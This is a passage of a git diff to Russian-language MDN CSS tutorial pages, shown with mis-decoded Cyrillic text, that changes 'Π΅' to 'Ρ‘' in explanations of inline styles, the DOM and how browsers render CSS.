<p><strong>ΠŸΠΎΠΆΠ°Π»ΡƒΠΉΡΡ‚Π°, Π½Π΅ Π΄Π΅Π»Π°ΠΉΡ‚Π΅ этого! </strong>Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠ»ΠΎΡ…ΠΎ для тСхничСского обслуТивания (Π²Π°ΠΌ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, придётся ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΈ Ρ‚Ρƒ ΠΆΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ нСсколько Ρ€Π°Π· Π²Β ΠΎΠ΄Π½ΠΎΠΌΒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅), Π° Ρ‚Π°ΠΊΠΆΠ΅ ΡΠΌΠ΅ΡˆΠΈΠ²Π°Π΅Ρ‚ ваши ΠΏΡ€Π΅Π·Π΅Π½Ρ‚Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ CSS с структурной ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉΒ HTML, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ ΠΊΠΎΠ΄ трудным для чтСния ΠΈ понимания. Π₯Ρ€Π°Π½Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² ΠΊΠΎΠ΄Π°Β ΠΎΡ‚Π΄Π΅Π»Π΅Π½ΠΎΒ Π΄Π΅Π»Π°Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρƒ Π³ΠΎΡ€Π°Π·Π΄ΠΎ Π±ΠΎΠ»Π΅Π΅ лёгкой для всСх, ΠΊΡ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π°Π΄ ΠΊΠΎΠ΄ΠΎΠΌ.</p>
-<p>Π•ΡΡ‚ΡŒ нСсколько мСст, Π³Π΄Π΅ встроСнныС стили ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π±ΠΎΠ»Π΅Π΅ распространСнными ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ. Π’Π°ΠΌ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, придСтся ΠΏΡ€ΠΈΠ±Π΅Π³Π½ΡƒΡ‚ΡŒ ΠΊ использованию ΠΈΡ…, Ссли ваша рабочая срСда сильно ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π° (Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ваша CMS позволяСт Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ HTML-Ρ‚Π΅Π»ΠΎ). Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ использовали ΠΌΠ½ΠΎΠ³ΠΎ Π² HTML элСктронной ΠΏΠΎΡ‡Ρ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Ρ‚Π°ΠΊΠΈΠΌ количСством ΠΏΠΎΡ‡Ρ‚ΠΎΠ²Ρ‹Ρ… ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ², со скольким это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ.</p>
+<p>Π•ΡΡ‚ΡŒ нСсколько мСст, Π³Π΄Π΅ встроСнныС стили ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π±ΠΎΠ»Π΅Π΅ распространёнными ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ. Π’Π°ΠΌ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, придётся ΠΏΡ€ΠΈΠ±Π΅Π³Π½ΡƒΡ‚ΡŒ ΠΊ использованию ΠΈΡ…, Ссли ваша рабочая срСда сильно ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π° (Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ваша CMS позволяСт Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ HTML-Ρ‚Π΅Π»ΠΎ). Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ использовали ΠΌΠ½ΠΎΠ³ΠΎ Π² HTML элСктронной ΠΏΠΎΡ‡Ρ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Ρ‚Π°ΠΊΠΈΠΌ количСством ΠΏΠΎΡ‡Ρ‚ΠΎΠ²Ρ‹Ρ… ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ², со скольким это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ.</p>
<h2 id="Π˜Π³Ρ€Π°_с_CSS_Π²_этой_ΡΡ‚Π°Ρ‚ΡŒΠ΅">Π˜Π³Ρ€Π° с CSS Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅</h2>
@@ -163,7 +163,7 @@ p {
color: red;
}</pre>
-<p>Π—Π°Ρ‚Π΅ΠΌ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ с CSSΒ ΠΈΒ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ со стилями, ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ содСрТимоС <code>&lt;body&gt;</code>Β HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Β ΠΈ Π½Π°Ρ‡ΠΈΠ½Π°ΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ CSS-стили Π²Π½ΡƒΡ‚Ρ€ΠΈ вашСго Ρ„Π°ΠΉΠ»Π° CSS.</p>
+<p>Π—Π°Ρ‚Π΅ΠΌ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ с CSSΒ ΠΈΒ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ со стилями, ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ содСрТимоС <code>&lt;body&gt;</code>Β HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Β ΠΈ Π½Π°Ρ‡ΠΈΠ½Π°ΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ CSS-стили Π²Π½ΡƒΡ‚Ρ€ΠΈ вашСго Ρ„Π°ΠΉΠ»Π° CSS.</p>
<p>Если Π²Ρ‹ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ систСму, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π»Π΅Π³ΠΊΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ вмСсто этого ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΉ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ Π½ΠΈΠΆΠ΅ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</p>
diff --git a/files/ru/learn/css/first_steps/how_css_works/index.html b/files/ru/learn/css/first_steps/how_css_works/index.html
index ff9721cbcf..3dacedb68c 100644
--- a/files/ru/learn/css/first_steps/how_css_works/index.html
+++ b/files/ru/learn/css/first_steps/how_css_works/index.html
@@ -32,13 +32,13 @@ translation_of: Learn/CSS/First_steps/How_CSS_works
<h2 id="Как_Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚_CSS">Как Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ CSS?</h2>
-<p>Когда Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ содСрТимоС с Π΅Π³ΠΎ стилями. Π­Ρ‚ΠΎΡ‚ процСсс ΠΈΠ΄Π΅Ρ‚ Π² нСсколько этапов, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΡ‹ сСйчас ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ. Π”Π΅Ρ€ΠΆΠΈΡ‚Π΅ Π² ΡƒΠΌΠ΅, Ρ‡Ρ‚ΠΎ это ΠΎΡ‡Π΅Π½ΡŒ упрощСнная вСрсия Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ Π²Π΅Π±-страницу, Π° Ρ‚Π°ΠΊΠΆΠ΅ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π·Π½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π΄Π΅Π»Π°ΡŽΡ‚ это ΠΏΠΎ Ρ€Π°Π·Π½ΠΎΠΌΡƒ. Но, происходит, Π³Ρ€ΡƒΠ±ΠΎ говоря, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</p>
+<p>Когда Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ содСрТимоС с Π΅Π³ΠΎ стилями. Π­Ρ‚ΠΎΡ‚ процСсс ΠΈΠ΄Ρ‘Ρ‚ Π² нСсколько этапов, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΡ‹ сСйчас ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ. Π”Π΅Ρ€ΠΆΠΈΡ‚Π΅ Π² ΡƒΠΌΠ΅, Ρ‡Ρ‚ΠΎ это ΠΎΡ‡Π΅Π½ΡŒ упрощённая вСрсия Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ Π²Π΅Π±-страницу, Π° Ρ‚Π°ΠΊΠΆΠ΅ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π·Π½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π΄Π΅Π»Π°ΡŽΡ‚ это ΠΏΠΎ Ρ€Π°Π·Π½ΠΎΠΌΡƒ. Но, происходит, Π³Ρ€ΡƒΠ±ΠΎ говоря, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</p>
<ol>
<li>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ HTML-страницу (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠ· Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π°)</li>
<li>ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ {{Glossary("HTML")}} Π² {{Glossary("DOM")}} (<em>Document Object Model</em>). DOM (ΠΈΠ»ΠΈ DOM-Π΄Π΅Ρ€Π΅Π²ΠΎ) - это прСдставлСниС страницы Π² памяти ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ Π½Π° DOM ΠΌΡ‹ остановимся Ρ‡ΡƒΡ‚ΡŒ ΠΏΠΎΠ·ΠΆΠ΅.</li>
<li>Π—Π°Ρ‚Π΅ΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π·Π°Π±ΠΈΡ€Π°Π΅Ρ‚ всС рСсурсы ΠΈ описания, связанныС с HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: встроСнныС ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈ, Π²ΠΈΠ΄Π΅ΠΎ ... ΠΈΒ  стили CSS! JavaScript присоСдиняСтся Ρ‡ΡƒΡ‚ΡŒ ΠΏΠΎΠ·ΠΆΠ΅ ΠΈ ΠΌΡ‹ ΠΏΠΎΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒ ΠΎΠ± этом, Ρ‡Ρ‚ΠΎΠ±Ρ‹ всС Π½Π΅ ΡƒΡΠ»ΠΎΠΆΠ½ΡΡ‚ΡŒ.</li>
- <li>ПослС этого Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ CSS ΠΊΠΎΠ΄, сортируСт описанныС Ρ‚Π°ΠΌ ΠΏΡ€Π°Π²ΠΈΠ»Π° Π² зависимости ΠΎΡ‚ ΠΈΡ… сСлСкторов ΠΈ раскладываСт ΠΈΡ… Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Β«ΠΊΠΎΡ€Π·ΠΈΠ½Ρ‹Β»: элСмСнты, классы, ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρ‹(ID) ΠΈ Ρ‚.ΠΏ. ΠžΡΠ½ΠΎΠ²Ρ‹Π²Π°ΡΡΡŒ Π½Π° Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹Ρ… сСлСкторах Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠ°ΠΊΠΈΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»Π° относятся ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Β«ΡƒΠ·Π»Π°ΠΌΒ» Π² DOM-Π΄Π΅Ρ€Π΅Π²Π΅ ΠΈ примСняСт ΠΈΡ… ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ нСобходимости (этот ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹ΠΉ шаг Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ Β«Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ Π΄Π΅Ρ€Π΅Π²Π° прСдставлСния» ΠΈΠ»ΠΈ Β«Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ Π΄Π΅Ρ€Π΅Π²Π° Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°Β»)</li>
+ <li>ПослС этого Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ CSS ΠΊΠΎΠ΄, сортируСт описанныС Ρ‚Π°ΠΌ ΠΏΡ€Π°Π²ΠΈΠ»Π° Π² зависимости ΠΎΡ‚ ΠΈΡ… сСлСкторов ΠΈ раскладываСт ΠΈΡ… Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Β«ΠΊΠΎΡ€Π·ΠΈΠ½Ρ‹Β»: элСмСнты, классы, ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρ‹(ID) ΠΈ Ρ‚.ΠΏ. ΠžΡΠ½ΠΎΠ²Ρ‹Π²Π°ΡΡΡŒ Π½Π° Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹Ρ… сСлСкторах Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠ°ΠΊΠΈΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»Π° относятся ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ Β«ΡƒΠ·Π»Π°ΠΌΒ» Π² DOM-Π΄Π΅Ρ€Π΅Π²Π΅ ΠΈ примСняСт ΠΈΡ… ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ нСобходимости (этот ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹ΠΉ шаг Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ Β«Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ Π΄Π΅Ρ€Π΅Π²Π° прСдставлСния» ΠΈΠ»ΠΈ Β«Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ Π΄Π΅Ρ€Π΅Π²Π° Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°Β»)</li>
<li>Π”Π΅Ρ€Π΅Π²ΠΎ прСдставлСния (<em>render tree</em>) формируСтся Π² Ρ‚ΠΎΠΌ порядкС, Π² ΠΊΠ°ΠΊΠΎΠΌ ΠΎΠ½ΠΎ Π·Π°Ρ‚Π΅ΠΌ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ, ΠΊΠΎΠ³Π΄Π° всС ΠΏΡ€Π°Π²ΠΈΠ»Π° Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹.</li>
<li>Π—Π°Ρ‚Π΅ΠΌ происходит Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π½Π° страницС (этот этап называСтся «отрисовкой»)</li>
</ol>
@@ -51,7 +51,7 @@ translation_of: Learn/CSS/First_steps/How_CSS_works
<p>DOM Π½Π°ΠΏΠΎΠΌΠΈΠ½Π°Π΅Ρ‚ Π΄Π΅Ρ€Π΅Π²ΠΎ. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт, Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΠΎΡ‚Ρ€Ρ‹Π²ΠΎΠΊ тСкста становится {{Glossary("Node/DOM","DOM node")}} Π² Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅. DOM-ΡƒΠ·Π»Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ ΠΈΡ… ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ΠΌ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΡƒΠ·Π»Π°ΠΌΠΈ. НСкоторыС Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты ΠΈΠΌΠ΅ΡŽΡ‚ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅, Π° Ρƒ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов Π΅ΡΡ‚ΡŒ братскиС.</p>
-<p>ПониманиС DOM ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π²Π°ΠΌ Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ, ΠΎΡ‚Π»Π°ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ ваш CSS, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ Π² DOM-Π΄Π΅Ρ€Π΅Π²Π΅ Π’Π°ΡˆΠΈ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй ΠΈ ΠΊΠΎΠ΄ Π²ΡΡ‚Ρ€Π΅Ρ‡Π°ΡŽΡ‚ΡΡ. Когда Π²Ρ‹ Π½Π°Ρ‡Π½Π΅Ρ‚Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹ΠΌΒ DevTools(инструмСнты для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ) Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒΡΡ ΠΏΠΎ DOM ΠΏΡ€ΠΈ Π²Ρ‹Π±ΠΎΡ€Π΅ элСмСнтов Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»Π° ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ.</p>
+<p>ПониманиС DOM ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π²Π°ΠΌ Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ, ΠΎΡ‚Π»Π°ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ ваш CSS, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ Π² DOM-Π΄Π΅Ρ€Π΅Π²Π΅ Π’Π°ΡˆΠΈ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй ΠΈ ΠΊΠΎΠ΄ Π²ΡΡ‚Ρ€Π΅Ρ‡Π°ΡŽΡ‚ΡΡ. Когда Π²Ρ‹ Π½Π°Ρ‡Π½Ρ‘Ρ‚Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹ΠΌΒ DevTools(инструмСнты для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ) Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒΡΡ ΠΏΠΎ DOM ΠΏΡ€ΠΈ Π²Ρ‹Π±ΠΎΡ€Π΅ элСмСнтов Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»Π° ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ.</p>
<h2 id="Как_прСдставлСно_DOM-Π΄Π΅Ρ€Π΅Π²ΠΎ">Как прСдставлСно DOM-Π΄Π΅Ρ€Π΅Π²ΠΎ</h2>
diff --git a/files/ru/learn/css/first_steps/index.html b/files/ru/learn/css/first_steps/index.html
index f19ed5774a..d376e97564 100644
--- a/files/ru/learn/css/first_steps/index.html
+++ b/files/ru/learn/css/first_steps/index.html
@@ -37,13 +37,13 @@ translation_of: Learn/CSS/First_steps
<dt><a href="https://developer.mozilla.org/ru/docs/Learn/CSS/First_steps/%D0%A7%D1%82%D0%BE_%D1%82%D0%B0%D0%BA%D0%BE%D0%B5_CSS">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ CSS?</a></dt>
<dd><strong>{{Glossary("CSS")}}</strong> (ΠšΠ°ΡΠΊΠ°Π΄Π½Ρ‹Π΅ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй) позволяСт ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π²Π΅Π»ΠΈΠΊΠΎΠ»Π΅ΠΏΠ½ΠΎ выглядящиС Π²Π΅Π±-страницы, Π½ΠΎ ΠΊΠ°ΠΊ ΠΆΠ΅ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚? Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ CSS с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ простого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° синтаксиса, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Ρ‹ ΠΎ языкС.</dd>
<dt><a href="https://wiki.developer.mozilla.org/ru/docs/Learn/CSS/First_steps/Getting_started">Начало Ρ€Π°Π±ΠΎΡ‚Ρ‹ с CSS</a></dt>
- <dd>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ возьмСм простой HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌ ΠΊ Π½Π΅ΠΌΡƒ CSS, изучая Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ практичСскиС Π²Π΅Ρ‰ΠΈ ΠΎ языкС.</dd>
+ <dd>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ Π²ΠΎΠ·ΡŒΠΌΡ‘ΠΌ простой HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌ ΠΊ Π½Π΅ΠΌΡƒ CSS, изучая Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ практичСскиС Π²Π΅Ρ‰ΠΈ ΠΎ языкС.</dd>
